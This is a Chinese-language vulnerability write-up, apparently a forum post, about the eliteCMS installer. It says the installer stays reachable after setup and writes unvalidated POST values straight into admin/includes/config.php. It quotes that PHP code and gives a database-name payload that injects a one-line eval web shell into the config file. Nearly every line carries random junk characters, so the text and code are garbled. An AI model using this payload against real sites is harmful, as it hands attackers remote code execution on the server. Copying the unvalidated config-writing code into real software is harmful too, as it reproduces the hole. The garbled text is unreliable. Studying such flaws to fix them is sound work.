eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装
+ O& a4 ?* Z" N) |, F; o+ {' g! [. ^, N! A$ w9 ]6 g
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php1 ^" Z' ]$ h4 E* Q ^
我们来看代码:+ W8 J. h. [( T6 P0 _
8 \# J0 A* f3 Z6 q6 L; g...
, g- i- h0 y* p: h) \7 G Nelseif ($_GET['step'] == "4") {( T( K) D6 B- U$ J- T/ [
$file = "../admin/includes/config.php";6 [* B' T) S& N" Z3 Y
$write = "<?php\n";
: r( Q/ s- E* v* s* X $write .= "/**\n";
! h' b" k! h" [! X: Q' [0 S $write .= "*\n";
9 M4 R- `7 p: p9 O3 F+ \7 ] $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n"; K4 w" \2 M1 T" f8 i* U
...略...8 d* `- i) Q6 j- q
$write .= "*\n";
- T% g& |; K! c) V+ n% { $write .= "*/\n";8 }3 u6 w3 `. {+ _& O% h
$write .= "\n";3 H% f. o* Z2 g6 V
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
: |1 I2 q# P$ i" F+ v& v $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
* h( A' \7 T) ^ $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";- J0 W9 g; w9 s: e, Q. a3 G# z
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
4 Z) M; W$ _$ ]* m2 E5 U $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";6 M$ R- R- |0 `4 U" x# M, f
$write .= "if (!\$connection) {\n";2 M% _% M: v6 a0 b
$write .= " die(\"Database connection failed\" .mysql_error());\n";
0 r+ t6 J7 \1 ?6 ]. }' G R $write .= " \n";
) Z, A8 y& I h9 q) b, c $write .= "} \n";
" k6 O0 o, e- E: ?' |' }! q $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
s2 ], g$ U6 Z/ y% u+ y6 _ $write .= "if (!\$db_select) {\n";
. U; b. l' {1 i f( k+ t$ \- Q $write .= " die(\"Database select failed\" .mysql_error());\n";
# d6 A1 p& g/ L6 I# R $write .= " \n";8 u t1 u6 l5 ^3 N, I
$write .= "} \n";
. J7 |6 F0 [2 c! ^ $write .= "?>\n";: H$ ~& c O+ ^' e
! q" |& N6 [% ?9 @
$writer = fopen($file, 'w');& @+ L0 @- W. R V6 W; a
.... @* }& w$ c5 `4 H! F" j$ r4 _! W1 l
6 m3 }) F& z/ W9 k: _8 \3 L
在看代码:# y. e0 c& n7 {- k [4 e% D
, H1 B$ y/ @; ^- r* W l$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
, j2 T# f# I. c# B$_SESSION['DB_NAME'] = $_POST['DB_NAME'];0 C5 V! e9 Z. ^
$_SESSION['DB_USER'] = $_POST['DB_USER'];
# _' l. K7 b! t; H1 F) }6 m9 l& D$_SESSION['DB_PASS'] = $_POST['DB_PASS'];8 A& ^* o4 r. a
& y: f, V0 m5 V# Q取值未作任何验证& n. S+ M' J9 c8 w* n' ~
如果将数据库名POST数据:% ^! {8 X t U6 m: f1 L. P [9 B4 U3 Z
- F" n1 u O2 t; j% b
"?><?php eval($_POST[c]);?><?php
% J, u. ^- }1 l; Q, o, o T
2 `7 W. h2 O0 c6 s将导致一句话后门写入/admin/includes/config.php2 x7 D! X+ \6 u4 z. x# m& f
|